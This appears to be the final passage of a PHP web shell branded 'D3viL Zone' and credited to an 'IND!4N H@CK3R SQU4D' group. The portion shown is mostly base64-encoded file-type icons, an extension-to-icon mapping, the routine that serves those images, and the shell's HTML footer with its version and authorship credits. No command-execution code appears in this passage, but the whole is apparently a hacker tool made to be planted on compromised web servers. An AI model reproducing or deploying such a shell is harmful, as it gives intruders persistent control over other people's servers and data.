7878"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7879
7880"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
7881
7882"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
7883
7884"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
7885
7886"ADs=",
7887
7888"ext_log"=>
7889
7890"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
7891
7892"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
7893
7894"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
7895
7896"ext_php"=>
7897
7898"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg".
7899
7900"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
7901
7902"ext_pl"=>
7903
7904"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
7905
7906"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
7907
7908"ext_swf"=>
7909
7910"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
7911
7912"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
7913
7914"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
7915
7916"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
7917
7918"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
7919
7920"ext_tar"=>
7921
7922"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
7923
7924"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
7925
7926"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
7927
7928"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
7929
7930"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7931
7932"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7933
7934"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7935
7936"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
7937
7938"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
7939
7940"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
7941
7942"u4tLAgEAOw==",
7943
7944"ext_txt"=>
7945
7946"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
7947
7948"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
7949
7950"UpPWG3Ig6Hq/XmRjuZwkAAA7",
7951
7952"ext_wri"=>
7953
7954"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
7955
7956"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
7957
7958"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
7959
7960"ext_xml"=>
7961
7962"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
7963
7964"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7965
7966"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
7967
7968"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
7969
7970"IQA7"
7971
7972 );
7973
7974 //For simple size- and speed-optimization.
7975
7976 $imgequals = array(
7977
7978 "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
7979
7980 "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
7981
7982 "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
7983
7984 "ext_html"=>array("ext_html","ext_htm"),
7985
7986 "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
7987
7988 "ext_lnk"=>array("ext_lnk","ext_url"),
7989
7990 "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
7991
7992 "ext_doc"=>array("ext_doc","ext_dot"),
7993
7994 "ext_js"=>array("ext_js","ext_vbs"),
7995
7996 "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
7997
7998 "ext_wri"=>array("ext_wri","ext_rtf"),
7999
8000 "ext_swf"=>array("ext_swf","ext_fla"),
8001
8002 "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
8003
8004 "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
8005
8006 );
8007
8008 if (!$getall)
8009
8010 {
8011
8012 header("Content-type: image/gif");
8013
8014 header("Cache-control: public");
8015
8016 header("Cache-control: max-age=".(60*60*24*7));
8017
8018 header("Last-Modified: ".date("r",filemtime(__FILE__)));
8019
8020 foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
8021
8022 if (empty($images[$img])) {$img = "small_unk";}
8023
8024 if (in_array($img,$ext_tar)) {$img = "ext_tar";}
8025
8026 echo base64_decode($images[$img]);
8027
8028 }
8029
8030 else
8031
8032 {
8033
8034 foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
8035
8036 natsort($images);
8037
8038 $k = array_keys($images);
8039
8040 echo "<center>";
8041
8042 foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
8043
8044 echo "</center>";
8045
8046 }
8047
8048 exit;
8049
8050}
8051
8052?>
8053
8054</td></tr></table><a bookmark="minipanel" /><br/>
8055<?php
8056}
8057?>
8058<TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor='#C0C0C0'><tr><td height="1" valign="top"><table align="center"><tr><td height="0" valign="top"><center><font face="times, serif" size="3"><b>(C) <font color="orange">IND!4N</font><font color="white"> H@CK3R </font><font color="green">SQU4D</font> [All rights reserved]</b></center></td></tr><tr><td height="0" valign="top"><center><b>Team Members :</b> DarkKnight-D3viL , Mr. T1W4R1 , IND 3MB3R , M4DM4X </center></td></tr><tr><td height="0" valign="top"><center><b>--[ D3viL Zone v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u>Coded by</u></a> DarkKnight-D3viL | IHS<font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></font></center></td></tr></table></td></tr></table>
8059</center>
8060</body></html>